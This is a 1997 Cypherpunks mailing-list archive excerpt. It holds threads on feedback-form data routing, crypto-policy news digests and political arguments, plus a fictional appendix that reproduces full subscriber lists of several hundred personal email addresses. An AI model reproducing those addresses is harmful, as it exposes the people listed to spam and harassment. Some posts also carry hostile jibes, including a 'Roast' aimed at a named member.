From bdurham at swbell.net  Mon Apr 21 16:23:18 1997
From: bdurham at swbell.net (Brian Durham)
Date: Mon, 21 Apr 1997 16:23:18 -0700 (PDT)
Subject: How to pick up email addresses from a feedback form??
In-Reply-To: <3.0.1.16.19970421165922.43e76ca4@pop.mindspring.com>
Message-ID: <335BF6D3.25FE@swbell.net>


Thomas Porter wrote:
> I have a technical question:
 
> Is there another way to do this?  Could a third-party spammer, for example,
> capture email addresses posted to such a form?

Having written a few thousand lines of CGI source, I can see a couple of
possible of things happening. First, it could be as innocent as the CGI
program
(the program that acts on the form's data) is hosted at the bbb.com
site.
The person at aaa.com may not have permissions to execute cgi-bin
programs
(or not know how to set them up).  I see this as most likely.

Unfortunately, the ultimate answer is in the CGI program at bbb.com ...
it would be nice to see its source to see if it was [horror!] hacked to
e-mail the contents of the form to aaa.com and bbb.com.

Packet-sniffing is always possible [not my area of expertise], but who
would go
to all that trouble just to get e-mail addresses to add to their SPAM
list?

Our hacker friends can probably shed some more light on this also.

Brian





From rwright at adnetsol.com  Mon Apr 21 17:55:51 1997
From: rwright at adnetsol.com (Ross Wright)
Date: Mon, 21 Apr 1997 17:55:51 -0700 (PDT)
Subject: My Thread / Was--Re: Light Bulbs & newsgroups
Message-ID: <199704220056.RAA13633@adnetsol.adnetsol.com>


On or About 21 Apr 97 at 15:42, Huge Cajones Remailer wrote:

> Rabid Wombat wrote:
> > On Sun, 20 Apr 1997, lucifer Anonymous Remailer wrote:
> > > Huge Cajones Remailer wrote:
> > > > Dr D. Wrote:
> > > > > Toto wrote:
> > > > > > T.C. May Wrote:
> > > > > > > Igor wrote:
> > > > > > > > Blah, Blah, Blah wrote:

As I said this was on just about every mailing list that I read.  It 
showed up first on a music related list.  

My question:  Why is this the only list that the thread is still 
alive on?  Jim, can we get an AP pool up to KILL it?

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906





From ichudov at algebra.com  Mon Apr 21 18:12:37 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Mon, 21 Apr 1997 18:12:37 -0700 (PDT)
Subject: My Thread / Was--Re: Light Bulbs & newsgroups
In-Reply-To: <199704220056.RAA13633@adnetsol.adnetsol.com>
Message-ID: <199704220112.UAA18412@manifold.algebra.com>


Ross Wright wrote:
> Huge Cajones Remailer wrote:
> > Rabid Wombat wrote:
> > > On Sun, 20 Apr 1997, lucifer Anonymous Remailer wrote:
> > > > Huge Cajones Remailer wrote:
> > > > > Dr D. Wrote:
> > > > > > Toto wrote:
> > > > > > > T.C. May Wrote:
> > > > > > > > Igor wrote:
> > > > > > > > > Blah, Blah, Blah wrote:
> 
> As I said this was on just about every mailing list that I read.  It 
> showed up first on a music related list.  
> 
> My question:  Why is this the only list that the thread is still 
> alive on?  Jim, can we get an AP pool up to KILL it?

... and 331 more to say that it's been on every mailing list.

	- Igor.





From dlv at bwalk.dm.com  Mon Apr 21 20:20:39 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 21 Apr 1997 20:20:39 -0700 (PDT)
Subject: How to pick up email addresses from a feedback form??
In-Reply-To: <3.0.1.16.19970421165922.43e76ca4@pop.mindspring.com>
Message-ID: <4PeJ6D5w165w@bwalk.dm.com>


Thomas Porter  writes:

> Greetings guru's.

Om shanti.

> I have a technical question:
>
> I am using a browser(Netscape 2.0.2 Win 3.1) to access a feedback form at
> www.aaa.com.

You should definitely get a newer version of Windows (or Linux) and a
newer version of Netscape, together with a few clues.

> I fill in my information and hit the submit button.
>
> I see the message "connecting to xxx.bbb.com" flash up on the status line
> before getting a 'done' message.

Do a 'view source' in your ancient netscape, and you'll probably see that
the submit button lives in a form whose action="http://xxx.bbb.com/some.cgi".

> xxx.bbb.com is _not_ a web hosting service for www.aaa.com.  I do a 'whois'
> on www.aaa.com and contact the tech admin who can duplicate this and is
> very concerned that information from his forms may be routed to xxx.bbb.com.

Is it "his" form? On a big site, the domain contact is likely to have no
clue about _all_ the web pages on their site.

...
> Is there another way to do this?  Could a third-party spammer, for example,
> capture email addresses posted to such a form?

That's a keeper.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From jya at pipeline.com  Mon Apr 21 20:59:08 1997
From: jya at pipeline.com (John Young)
Date: Mon, 21 Apr 1997 20:59:08 -0700 (PDT)
Subject: SNL/NSA Crypto Security
Message-ID: <1.5.4.32.19970422035737.006e3388@pop.pipeline.com>


Cryptographer William Payne has shared afidavits that
describe SCIF procedures at Sandia National Laboratory 
for its NSA crypto work.

One affidavit cites Payne's claim to knowing how to "easily 
break public key encryption" but refused to tell NSA, thus
harming SNL's customer relations.

http://jya.com/nsasuit4.htm







From nobody at huge.cajones.com  Mon Apr 21 21:10:07 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 21 Apr 1997 21:10:07 -0700 (PDT)
Subject: Light Bulbs & newsgroups (fwd)
Message-ID: <199704220410.VAA08015@fat.doobie.com>


A freak wrote:
>"Timothy C. May"  writes:
>> It's the American way.
>
>Waco is the American way.  Ruby Ridge is the American way.
>
>---
>
>Dr.Dimitri Vulis KOTM
>Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013,14.4Kbps

The next barbeque should be the Forest Hills FREAK Roast.










From bubba at dev.null  Mon Apr 21 21:47:31 1997
From: bubba at dev.null (Bubba Rom Dos)
Date: Mon, 21 Apr 1997 21:47:31 -0700 (PDT)
Subject: WebWorld / Appendix
Message-ID: <335C4274.2C04@dev.null>

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From bubba at dev.null  Mon Apr 21 21:47:33 1997
From: bubba at dev.null (Bubba Rom Dos)
Date: Mon, 21 Apr 1997 21:47:33 -0700 (PDT)
Subject: Text / WebWorld / Appendix
Message-ID: <335C42AF.8F3@dev.null>


----------------------------------------------------------------------------

                       The True Story of the InterNet
                                   Part II

                 WebWorld & the Mythical 'Circle of Eunuchs'

                                  by Arnold

Copyright 1995, 1996, 1997 Pearl Publishing
----------------------------------------------------------------------------

                                  Appendix

History:

Part I of "The True Story of the InterNet," entitled, "The Xenix Chainsaw
Massacre" was written by the Author, but left incomplete by his unexpected
death.
The Epilogue to Part I was written by Bubba D'Shauneaux.

Part II of "The True Story of the InterNet" was completed in what might be
called "finished-outline form" by the Author before his death, with copius
notes left behind as to the nature of "moving events" which would need to be
addressed ad hoc during the release of the manuscript.
The manuscript was completed as a group effort by the individuals who form
the core of characters who are the protagonists in Part II.

Non-Disclaimer:

Although many of the events (and some of the characters) contained in the
manuscripts which comprise "The True Story of the InterNet" are allegorical,
all references to the activities and events in the Author's life, up to the
date of publication, are based totally on verifiable fact.
Although some of the events and connections attributed to the Author may
seem outlandish or contrived, rest assured that they are not considered to
be so by those who actually knew him. He lived a life which was unusual, to
say the least, and absolutely no embellishment was, or is, needed, in order
to to make his personal story more compelling or realistic.

InterNet/WWW Hosting of "True Story of the InterNet" Manuscripts:

The manuscripts may be placed on any InterNet or Worldwide Web Site without
restriction, as long as they remain intact, with all appropriate credits and
copyrights, and it is done for non-profit purposes only.
Those hosting the manuscripts may, if they wish, adjoin their own additions
to the remaining space in the WebWorld Chapter 25 Stego (hopefully doing so
within the theme of the work). All additions shall be deemed to be covered
under Pearl Publishing's copyright of the manuscript.

Acknowledgments:

A wide variety of individuals have worked toward the completion and
dissemination of the "True Story of the InterNet" manuscripts since the
beginning of their release in 1989.
To date, none of them have asked for acknowlegment, in any way, shape, or
form.

While there may be cynics who maintain that this may be due to the multitude
of problems sometimes experienced by those whose participation in the
release of the manuscripts has become known, or suspected, my personal
perception is that the people involved are quite simply acting out of what
they see as a need for the manuscripts to be given exposure, regardless of
the level of reception the works receive.

Acknowlegments are in order, however, for those who make it worthwhile for
those involved in the dissemination of the manuscripts to give their time
and effort in this cause.
And who is it that makes the effort worthwhile? It is the individual who is
beset by the same trials and tribulations as the average person, but who
nevertheless strives to rise above the hardship and discrimination that
results from swimming against the tide of humanity currently being swept
along by the dark forces who direct and control both the mediums through
which we communicate with one another and the societal and legislative
regulations which govern those mediums.
It is the individual who fights against the constant barrage of information
and disinformation, at every turn, which seeks to mold them into a small cog
in a collective, subservient mindset that worships the ten-second sound
byte, the party line, and the group reality.
It is the individual who struggles to maintain a private island of
intellect, rationality and integrity, in the face of seemingly overwhelming
forces which struggle daily to subdue him or her, and bring them into
subjection to the enemy of all humanity-robotic acceptance of an unlimited
authority which claims to have the right to exercise dominion over the
rights, freedoms, and personal conscience of the individual.

These individuals are scattered across the face of the earth-alone, in small
groups, throughout networks of people who work in concert, and in the secret
places, working furtively, in constant fear of discovery by those who are
threatened by their ideals and their actions.

Those involved in the dissemination of Part II of "The True Story of the
InterNet" have agreed that acknowledgment for the distribution of "WebWorld
& The Mythical Circle of Eunuchs" should go to those who currently manifest
many of the qualities of the Author's allegorical "Magic Circle."

The CypherPunks.

Date: Sun, 20 Apr 1997 17:53:57 -0700 (PDT)
From: Majordomo at toad.com
Members of list 'cypherpunks-unedited':

jya at pipeline.com
slater at cryogen.com
sd8995 at slecrs2.sbc.com
serw30 at laf.cioe.com
wmono at direct.ca
toto at sk.sympatico.ca
reece-cpunks-raw at nceye.net
zachb at netcom.com
ward at mls1.HAC.COM
dm+cypherpunks-unedited at amsterdam.lcs.mit.edu
paul at fatmans.demon.co.uk
mgursk1 at umbc.edu
arpalists+listserv.cypherpunks-unedited at andrew.cmu.edu
camcc at abraxis.com
pegasus at petronet.net
emc at wire.insync.net
perun!cypherpunks-unedited at uu.psi.com
vincent at psnw.com
spook at nosuchagency.com
robc at xmission.com
security at aurora.intercode.com.au
stend+cypherpunks-unedited at sten.tivoli.com
mehling at ibm.net
pierre at rahul.net
bdolan at USIT.NET
blackavr at crowncollege.com
m1tca00 at FRB.GOV
blackavr at aa.net
unsound at oz.net
cypherpunks-unedited at mejl.com
glenn at lust.bio.uts.edu.au
das at sgi.com
IML-cypherpunks at i405.com
apache at quux.apana.org.au
cypherpunks at cyberpass.net
wardemon at erols.com
apb at iafrica.com
cypherpunks+incoming-toad at algebra.com
sergey at el.net
canthony at info-nation.com
prins at holmes.nl
avan at csd.uwm.edu
same at ori.hitachi-sk.co.jp
cp at draper.net
darekl at ii.pb.bialystok.pl
lbennett at accessone.com
apoulter at nyx.net
adam at homeport.org
matus1 at concentric.net
hua at chromatic.com
mma at info.fundp.ac.be
glibert at hotmail.com
mauricio at stm400.embratel.net.br
floyd at magma.del.ufrj.br
thomson at max-net.com
bomber at globalpac.com
mcnellis at lucent.com
masterzero at juno.com
wmalik at sdnpk.undp.org
listarch at calvo.teleco.ulpgc.es
jonathan at gaw.net
jesaxman at eos.ncsu.edu
tan at mss.es
mckinney at mnsinc.com
segfault at pdq.net
stokely at beacondesign.com
jadams at seahawk.navy.mil
FURCONC at centocor.com
ciko at pub.osf.lt
chrisd at loc201.tandem.com
jim.burnes at ssds.com
axel at omp-paderborn.de
pristine2 at health.gov.au
ggdla at westminster.ac.uk
ybaudoin at touchtechnology.com
zinja at perseus.fho-emden.de
kenny_austin at juno.com
mrb at videotron.ca
iluminaut at tex-is.net
xdat11 at email.mot.com
ponder at mail.irm.state.fl.us
cmcurtin at research.megasoft.com
jeremiah at northnet.org
spectre at nac.net
UAP-S_Jay_Haines at united-ad.com
segfault at wt.net
derek at usfca.edu
eran at sci.fi
bdurham at swbell.net

Date: Sun, 20 Apr 1997 20:06:58 -0500
From: Majordomo at Algebra.Com
Members of list 'cypherpunks':

ichudov at algebra.com
pdh at best.com
toto at sk.sympatico.ca
dlv at bwalk.dm.com
serw30 at laf.cioe.com
markm at voicenet.com
paul at fatmans.demon.co.uk
apb at iafrica.com
zachb at netcom.com
roym at iol.ie
lharrison at mhv.net
zahn at berlin.snafu.de
reece-cpunks at nceye.net
blizzard at AppliedTheory.com
mycroft at actrix.gen.nz
scottst at ionet.net
miner333 at dogbert.xroads.com
osborne at gateway.grumman.com
Dan.Oelke at rdxsunhost.aud.alcatel.com
rkluge at nunic.nu.edu
bart at netcom.com
godless at mindspring.com
root at bushing.plastic.crosslink.net
arino at pd.shiseido.co.jp
jbaber at mi.leeds.ac.uk
snow at smoke.suba.com
landon_dyer at wayfarer.com
cpbrown at linus.mitre.org
mwohler at ix.netcom.com
Christine.M.Silker-1 at tc.umn.edu
alan at ctrl-alt-del.com
mgursk1 at umbc.edu
carolann at censored.org
rmtodd at servalan.servalan.com
codehead at ix.netcom.com
geeman at best.com
rab at stallion.oz.au
dave.hodgins at westonia.com
privsoft at ix.netcom.com
raymond at wcs.net
bal at martigny.ai.mit.edu
agarcia at Starbase.NeoSoft.COM
vin at shore.net
cynthb at sonetis.com
harka at nycmetro.com
incoming-cypherpunks at cisco.com
Theodor.Schlickmann at bxl.dg13.cec.be
jk at stallion.ee
cminter at mipos2.intel.com
wmono at direct.ca
srp3651 at rsws24.ca.boeing.com
kszczypi at tele.pw.edu.pl
sdudar at solutions.net
cypher at infinity.nus.sg
rich at cause-for-alarm.com
cypherpunks at supra.rsch.comm.mot.com
rsedc at urgento.gse.rmit.EDU.AU
franl at world.std.com

Date: Mon, 21 Apr 1997 03:52:30 -0700 (PDT)
From: Majordomo at sirius.infonex.com
Members of list 'cypherpunks':

loki at obscura.com
pdh at best.com
jeffb at issl.atl.hp.com
stonedog at ns1.net-gate.com
rah at shipwright.com
wombat at mcfeely.bsfs.org
omegam at cmq.com
stewarts at ix.netcom.com
apache at quux.apana.org.au
mnorton at cavern.uark.edu
froomkin at law.miami.edu
kdolan at capcon.net
abrouard at infinet.com
cpx at sobolev.rhein.de
attila at primenet.com
luther at ucr.campus.mci.net
krs at caos.aamu.edu
codehead at ix.netcom.com
A.Back at exeter.ac.uk
rnh2 at ix.netcom.com
svmcguir at syr.edu
vznuri at netcom.com
sdn at divcom.umop-ap.com
cypherpunks at supra.rsch.comm.mot.com
zim at eskimo.com
dsmith at prairienet.org
mpd at netcom.com
eallensmith at mbcl.rutgers.edu
whgiii at amaranth.com
das at sgi.com
david at coe.woodbine.md.us
wcampbel at peganet.com
camcc at abraxis.com
jgrasty at gate.net
sporter at acm.org
wtfxston at netcom.com
janke at unixg.ubc.ca
grafolog at netcom.com
cmckie at ottawa.com
davidlu at sco.com
bryce at digicash.com
asgaard at cor.sos.sll.se
gbroiles at netbox.com
hayden at krypton.mankato.msus.edu
jschultz at mail.coin.missouri.edu
minow at apple.com
dockmaster at pobox.com
E.C.C.Sheedy at research.kpn.com
jack_flap at hotmail.com
sebago at earthlink.net
fabrice at math.Princeton.EDU
tcmay at got.net
wfgodot at iquest.com
jya at pipeline.com
sl at pobox.com
cypherpunk at rosa.com
tirevold at mindspring.com
frissell at panix.com
trei at process.com
foodie at netcom.com
mclow at mailhost2.csusm.edu
IML-cypherpunks-new at i405.com
e875836 at popcorn.llnl.gov
jimbell at pacifier.com
take at barrier-free.co.jp
list-cp at sendai.scytale.com
cdaemon at goblin.punk.net
yuri at ANST.com
mlm at isbank.is
jeremym at r56h159.res.gatech.edu
kqb at whscad1.wh.lucent.com
weidai at eskimo.com
eric at clever.net
in5y113 at public.uni-hamburg.de
kingle at cisco.com
lwp at mail.msen.com
janzen at idacom.hp.com
malcolm.miles at tegan.apana.org.au
dshipman at ewol.com
real at freenet.edmonton.ab.ca
hollyg at exchange.microsoft.com
ariel at watsun.cc.columbia.edu
jleppek at hisd.harris.com
Ed-Ferguson at ti.com
cypherpunks-gate at abraham.cs.berkeley.edu
jeremey at veriweb.com
sunder at beast.brainlink.com
txporter at mindspring.com
pierre at rahul.net
lucyc at suite.sw.oz.au
spook at nosuchagency.com
drake at cais.com
declan at pathfinder.com
die at die.com
ericm at lne.com
hal at rain.org
roberte at mulberry.com
E.J.Koops at kub.nl
cts at deltanet.com
demo at offshore.com.ai
shamrock at netcom.com
jehill at w6bhz.calpoly.edu
waynec at clipper.csc.UVic.CA
tangent at alt255.com
cypherpunks-incoming at ai.mit.edu
gendara at ns.pan.gbm.net
abd at cdt.org
agrapa at banamex.com
jarobin at comp.uark.edu
Kevin.L.Prigge-2 at tc.umn.edu
cpunks-mtg at menelaus.mit.edu
steve at miranova.com
djphill at umich.edu
junger at upaya.multiverse.com
wmono at direct.ca
0005514706 at mcimail.com
mkljones at cris.com
ggoessle at ensibm.imag.fr
jad at dsddhc.com
cypherpunks-gw at replay.com
frantz at netcom.com
shadow at count04.mry.scruznet.com
pjm at spe.com
enystrom at aurora.nscee.edu
dgilx at mindspring.com
wesf at mail.utexas.edu
tien at well.com
johnd at pathfinder.com
azur at netcom.com
C.Ooi at etc.com.au
williamd at bose.com
isbe at earthling.net
hjk at ddorf.rhein-ruhr.de
dimitris at alien.bt.co.uk
declan at eff.org
willday at rom.oit.gatech.edu
baby-x at slowdog.com
greg at ideath.parrhesia.com
nexus at eskimo.com
reusch at pluto.njcc.com
cabeen at netcom.com
rhornbec at counsel.com
RWright at adnetsol.com
braun at tunl.duke.edu
daron at idirect.com
lists+anon.cypherpunks at chardos.connix.com
pooh at efga.org
srenfro at silvix.sirinet.net
ppomes at Qualcomm.com
gate at mogul.oit.gatech.edu
unicorn at schloss.li
hanabusa at bnn-net.or.jp
p-paris at worldnet.fr
bubba at dev.null
tz at execpc.com
toto at sk.sympatico.ca

Date: Sun, 20 Apr 1997 19:06:35 -0500
From: Majordomo at einstein.ssz.com
Members of list 'cypherpunks':

No listing returned: Check at 525 � Barton Springs Road, Austin, Texas.

Patron Saints of "The True Story of the InterNet":

Lao Tsu
Che Guerva
Marshall McLuhan
Phillip Zimmerman
Hughes, Gilmore & May
The Reader
----------------------------------------------------------------------------

Appendix / "WebWorld & The Mythical Circle of Eunuchs" / Part II "The True
Story of the InterNet"
----------------------------------------------------------------------------







From alan at ctrl-alt-del.com  Mon Apr 21 21:58:56 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Mon, 21 Apr 1997 21:58:56 -0700 (PDT)
Subject: How to pick up email addresses from a feedback form??
In-Reply-To: <3.0.1.16.19970421165922.43e76ca4@pop.mindspring.com>
Message-ID: <3.0.1.32.19970421215659.00a2bbb0@mail.teleport.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 06:22 PM 4/21/97 -0500, Brian Durham wrote:
>Thomas Porter wrote:
>> I have a technical question:
> 
>> Is there another way to do this?  Could a third-party spammer, for
example,
>> capture email addresses posted to such a form?
>
>Having written a few thousand lines of CGI source, I can see a couple of
>possible of things happening. First, it could be as innocent as the CGI
>program
>(the program that acts on the form's data) is hosted at the bbb.com
>site.
>The person at aaa.com may not have permissions to execute cgi-bin
>programs
>(or not know how to set them up).  I see this as most likely.

Or they may have switched sites and have not changed over the back end code
to the new site.

>Unfortunately, the ultimate answer is in the CGI program at bbb.com ...
>it would be nice to see its source to see if it was [horror!] hacked to
>e-mail the contents of the form to aaa.com and bbb.com.

You can always look at the source of the page and see what sites are
contacted.   Look at the form tag and see where the cgi code is located.

>Packet-sniffing is always possible [not my area of expertise], but who
>would go
>to all that trouble just to get e-mail addresses to add to their SPAM
>list?

If there was a packet sniffer on the line, you would not see it.  Packet
sniffers are PASSIVE.  They just sit and read traffic and record the
interesting (or not so interesting) bits.

>Our hacker friends can probably shed some more light on this also.

Why worry about e-mail addresses being diverted?  If you don't want them to
find you out, don't give out your address.

"The first rule of not being seen is DON'T STAND UP!"
 
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---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|





From canthony at info-nation.com  Tue Apr 22 05:47:53 1997
From: canthony at info-nation.com (Charles Anthony)
Date: Tue, 22 Apr 1997 05:47:53 -0700 (PDT)
Subject: Germany Proposes Policing the Internet
Message-ID: <199704221247.HAA26787@bitstream.net>


There is a Rueters story this morning on Germany's proposal to police 
the Internet. 


--C

http://www.infoseek.com/Content?col=NX&arn=a0409robti-19970419&dbid=4
&lk=noframes&ud3=2295E5565D2A6D7AD8C45800DC9F484B&ak=NONE&kt=G



**********************************************************************
Charles Anthony
canthony at info-nation.com
http://www.info-nation.com

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From jya at pipeline.com  Tue Apr 22 08:53:33 1997
From: jya at pipeline.com (John Young)
Date: Tue, 22 Apr 1997 08:53:33 -0700 (PDT)
Subject: BIL_due
Message-ID: <1.5.4.32.19970422155158.00841784@pop.pipeline.com>


     22 April 1997:

     Space/intelligence technology's embattled frontier 

     European citizens and governments alike have expressed
     concern over the recent expansion of U.S. intelligence bases
     in Europe. The National Security Agency (NSA) and National
     Reconnaissance Office (NRO) are combining efforts at large
     sites known as regional SIGINT (signals intelligence)
     operation centers, or RSOCs. 

     At a recent Space Symposium in Colorado Springs, Colo.,
     NRO director Keith Hall said that the merging of the NSA and
     NRO bases is the first step in creating "collaborative systems
     of systems in signals intelligence." In the future, Hall said,
     those joint efforts could also include the U.S. Space
     Command, the service intelligence agencies and even
     commercial resources "borrowed" by the intelligence
     community. 

     U.S. military officials have been surprisingly candid about
     their intent to take maximum strategic advantage of their
     information trump cards. Air Force Secretary Sheila Widnall 
     said, "Our allies must understand that we bring tremendous 
     capabilities to the table, and it would be to their advantage to 
     find ways we both can use [them]." 

     In a more blatant revelation of U.S. sentiment, Gen. Howell
     Estes, commander of the U.S. Space Command, said the
     United States "is the only nation intellectually prepared for and
     morally capable" of controlling space-based intelligence. 

----------

     President, Senators Set to clash on Encryption

     Bent on retaining access to any and all data exported from the
     United States, the Clinton administration soon will solidify its
     position on Internet security issues and have a bill sponsored
     in the Senate. 

     Meanwhile, microprocessing giant Intel Corp. of Santa Clara,
     Calif., which has been developing hardware-based encryption
     tools based on Cupertino, Calif.-based Hewlett-Packard's
     International Cryptography Framework, is sitting tight,
     waiting to see how things play out on Capitol Hill. 

     Intel already has submitted the framework for government
     review, but is closely guarding specifics about its encryption
     key lengths. 

----------

     SET 2.0 on the way - Encryption spec speeds e-commerce 

     "SET 2.0 will be security-algorithm-independent," said Steve
     Mott, senior vice president for electronic commerce at
     MasterCard International. "The issue is not the underlying
     cryptography, and the problem is not with RSA's
     mathematics; it's how efficient [RSA's cryptography] is." 

     Vendors such as Certicom, Apple Computer, and RPK are all
     positioning themselves as alternatives to market-leader RSA
     for providing encryption technologies. 

     "We have SET 1.0 pilots going with elliptic curve
     cryptography," Mott said. 

     Elliptic Curve Cryptosystem (ECC) is a technology that is
     being pushed by both Certicom and Apple.

     RPK, meanwhile, offers another alternative to encryption: Its
     Mixture Generator encryption engine performs both bulk and
     key encryption.

----------

     A Smart Partnership 

     Pretty Good Privacy Inc. and Schlumberger Electronic 
     Transactions are teaming up to integrate their encryption 
     and smart-card technologies. The two companies will interweave 
     PGP's encryption software with Schlumberger's Cryptoflex smart
     card, which supports functions such as key and digital
     certificate storage and signatures.

----------

     U.S. Seeks Laissez Faire on Internet 

     The Clinton administration plans to tell the Internal Revenue
     Service and bank regulators to forget about new rules for
     Internet commerce in a policy paper that is scheduled to be
     released later this spring, Ira Magaziner said last week. 

     It is unclear how far this laissez faire approach will go.
     Speaking at the same session, a top official in the Office of
     the U.S. Trade Representative warned about the obstacles he
     sees in trying to get other governments to go along. 
     He warned. "What do governments want to do? They want to
     regulate," he added. "It's ingrained to the system. It's almost a
     social-democratic ideal they want to fulfill." 


-----------

     MITI to develop int'l electronic commerce technology 

     The ministry will formulate a standard for authentication
     centers that use different data-verification methods. The new
     protocol would facilitate the exchange of encryption data
     among authentication centers around the world, thus allowing
     a business to verify the identity of a client in another country.

     MITI, which has earmarked over 10 billion yen (about 79.82
     million dollars) for electronic commerce tests, is hoping to
     nurture Japan's own electronic commerce services and to
     narrow the technological gap with the U.S. 

----------

BIL_due

or

http://jya.com/bildue.txt






From hallam at ai.mit.edu  Tue Apr 22 10:39:25 1997
From: hallam at ai.mit.edu (Phillip M. Hallam-Baker)
Date: Tue, 22 Apr 1997 10:39:25 -0700 (PDT)
Subject: Fwd:Clinton and RSA, True?
Message-ID: <199704221739.NAA16574@life.ai.mit.edu>

>Yet, at the same time the Clinton administration attemped to
>lump out nearly a billion dollars to buy a US company.  This
>smaller, "leaner", US Government, according to Ira Sockowitz, a
>former Commerce employee appointed by Bill Clinton, ordered him
>to meet with RSA Inc. Chairman James Bidzos.  The topic of that
>meeting was the official desire to secretly purchase RSA Inc.
>using taxpayer money.

[drivel deleted]

Cyber dog loses points for the following:-

NO mention of the Zarapuder film.
NO explanation of Vince Foster's death.
NO consideration given to the credible evidence of UFO sightings. 

Quite why the US govt. would want to buy RSA is beyond me. They already
have a license to use RSA for internal purposes, the patent expires in
three years in any case. Even if RSA was completely banned it would
still be possible to use El-Gamal and variants for encryption and
digital signatures.

False, and no more than 3/10 for effort.

Phill



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From sandy&darlene at hotmail.com  Tue Apr 22 13:05:55 1997
From: sandy&darlene at hotmail.com (sandy&darlene at hotmail.com)
Date: Tue, 22 Apr 1997 13:05:55 -0700 (PDT)
Subject: stop by and see us.
Message-ID: <199704221957.MAA10336@sweden.it.earthlink.net>




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From nobody at hidden.net  Tue Apr 22 13:26:11 1997
From: nobody at hidden.net (Anonymous)
Date: Tue, 22 Apr 1997 13:26:11 -0700 (PDT)
Subject: No Subject
In-Reply-To: <1.5.4.32.19970422155158.00841784@pop.pipeline.com>
Message-ID: <199704221921.MAA00734@jefferson.hidden.net>


John Young writes:
 >      In a more blatant revelation of U.S. sentiment, Gen. Howell
 >      Estes, commander of the U.S. Space Command, said the
 >      United States "is the only nation intellectually prepared for and
 >      morally capable" of controlling space-based intelligence. 

[ I tried several pithy followups to this statement and have concluded
  that there is nothing intelligent or moral to add. ]

TruthMonger e^(2[pi]i)






From wcreply at ctia.org  Tue Apr 22 18:23:38 1997
From: wcreply at ctia.org (wcreply at ctia.org)
Date: Tue, 22 Apr 1997 18:23:38 -0700 (PDT)
Subject: www.wow-com.com
Message-ID: <199704230122.VAA27293@intraactive.com>


Dear WOW-COM Reader:

WOW-COM continues to provide the knowledge wireless professionals need to stay ahead in a fast-paced environment.  Our news, CTIA-sponsored research and  regular updates on the top issues affecting wireless, make WOW-COM the site for industry professionals.  

Daily use of the wireless industry's Web hub continues to grow because we constantly add new features and information.  Here is what's new:

**Searchable Database on Antenna Moratoria Across America**

This segment of WOW-COM provides the information on every effort by localities to thwart development of wireless infrastructure by limiting tower development.  This analysis is of great value to all wireless professionals attempting to navigate the tower siting issue successfully.

To reach the Moratoria Database, click on http://www.WOW-COM.com/professional/siting/index.cfm

**Career Center**

WOW-COM's Career Center continues to grow rapidly.  New listings by Motorola, Iridium LLC, Sony Wireless Telecommunications, AirTouch Cellular, Lucent Technologies, and others have made this the on-line job center for wireless.  Recruiters are also now linked to the center, making it possible for you to reach them easily.

To reach the Career Center, simply logon to WOW-COM and click on the Career Center. 

**Week In Review**

The Week In Review, authored by CTIA political and regulatory experts, is available every Friday on WOW-COM -- three days before its scheduled Monday release.

We are always adding additional services, analysis and research for WOW-COM readers.  Please let us know what you think about WOW-COM and how we can serve you better!

Sincerely,
Team WOW-COM
wcreply at ctia.org
www.wow-com.com

We hope you found this email useful and informative.  If you didn't, we sincerely apologize.  If you do not wish to receive our notices, please reply to wcreply at ctia.org.







From kent at songbird.com  Tue Apr 22 18:39:35 1997
From: kent at songbird.com (Kent Crispin)
Date: Tue, 22 Apr 1997 18:39:35 -0700 (PDT)
Subject: Generic announcement
Message-ID: <19970422183723.30130@bywater.songbird.com>


This is from a story on Top Level Domain Names.  Seems like it could apply 
to anything:
 
"In Washington DC, officials from the White House, federal agencies and
Congress say regulations may be necessary to promote a free-market   
system. A White House inter-agency taskforce was due to meet last
week, after CWI's press deadline, to discuss the matter."

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From jamesd at echeque.com  Tue Apr 22 22:07:46 1997
From: jamesd at echeque.com (jamesd at echeque.com)
Date: Tue, 22 Apr 1997 22:07:46 -0700 (PDT)
Subject: Short AP Rant [POLITICAL NOISE]
Message-ID: <199704230503.WAA29070@proxy3.ba.best.com>


At 07:27 AM 4/20/97 +0800, jamesd wrote:
> > The election of various unpleasant Islamic Fundamentalist regimes.
> > In particular, it seems likely that had the generals not violently 
> > overthrown democracy in Algeria, the democratically elected
> > representatives of the people would have proceeded to kill off
> > everyone they deemed insufficiently Islamic, a very substantial
> > minority, a minority which would doubtless have included most of 
> > the generals and their families.

At 09:22 PM 4/20/97 -0700, Bill Stewart wrote:
> The Islamic party didn't start killing off foreigners until the
> French and other Westerners supported the generals who overthrew them.

However they have been murdering Algerian women and children from 
day one, though they did not get into murdering Western women and 
children until a little later.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd at echeque.com






From jcurmi at keyworld.net  Tue Apr 22 22:16:17 1997
From: jcurmi at keyworld.net (Julian Curmi)
Date: Tue, 22 Apr 1997 22:16:17 -0700 (PDT)
Subject: (no subject)
Message-ID: <335BC8C0.61CA@keyworld.net>


Please delete from this list.







From tank at xs4all.nl  Wed Apr 23 02:40:26 1997
From: tank at xs4all.nl (tank)
Date: Wed, 23 Apr 1997 02:40:26 -0700 (PDT)
Subject: Wired news: German Network Lifts Ban on Dutch ISP
Message-ID: <199704230939.LAA22689@xs1.xs4all.nl>


>From www.wired.com:


German Network Lifts Ban on Dutch ISP 

